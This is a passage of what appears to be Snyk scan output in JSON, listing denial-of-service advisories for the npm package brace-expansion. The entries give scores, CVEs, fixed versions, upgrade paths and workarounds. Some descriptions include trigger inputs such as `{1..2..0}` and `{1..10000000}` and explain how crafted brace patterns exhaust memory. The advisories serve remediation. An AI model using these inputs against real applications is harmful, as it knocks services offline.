"CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of 